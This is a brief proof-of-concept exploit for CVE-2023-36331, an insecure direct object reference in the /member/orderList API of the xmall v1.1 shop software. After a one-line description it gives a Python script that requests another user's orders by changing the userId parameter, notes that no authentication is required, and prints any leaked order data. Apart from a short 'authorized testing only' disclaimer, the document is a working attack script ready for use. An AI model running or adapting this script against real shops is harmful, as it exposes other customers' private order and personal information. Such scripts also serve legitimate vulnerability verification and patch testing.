Incorrect access control in the /member/orderList API of xmall v1.1 allows attackers to arbitrarily access other users' order details via manipulation of the query parameter userId.
The following code is for security research and authorized testing only.
python
import requests
# CVE-2023-36331 PoC - xmall v1.1 /member/orderList API Insecure Direct Object Reference
# Description: Incorrect access control in /member/orderList API allows attackers to
# access other users' order details via manipulation of userId parameter
target_url = "http://target-server.com/member/orderList"
# Attacker-controlled userId parameter to enumerate other users' orders
# Modify the userId value to access different users' order information
payload = {
"userId": "1" # Change this value to target different users
}
try:
# Send request with manipulated userId parameter
# No authentication required to exploit this vulnerability
response = requests.get(target_url, params=payload, timeout=10)
print(f"Status Code: {response.status_code}")
print(f"Response: {response.text}")
# If response contains order data for the specified userId,
# the vulnerability is confirmed
if response.status_code == 200 and "order" in response.text.lower():
print("[+] Vulnerability confirmed! Order data leaked.")
print(f"[+] Leaked data for userId: {payload['userId']}")
except requests.exceptions.RequestException as e:
print(f"[-] Request failed: {e}")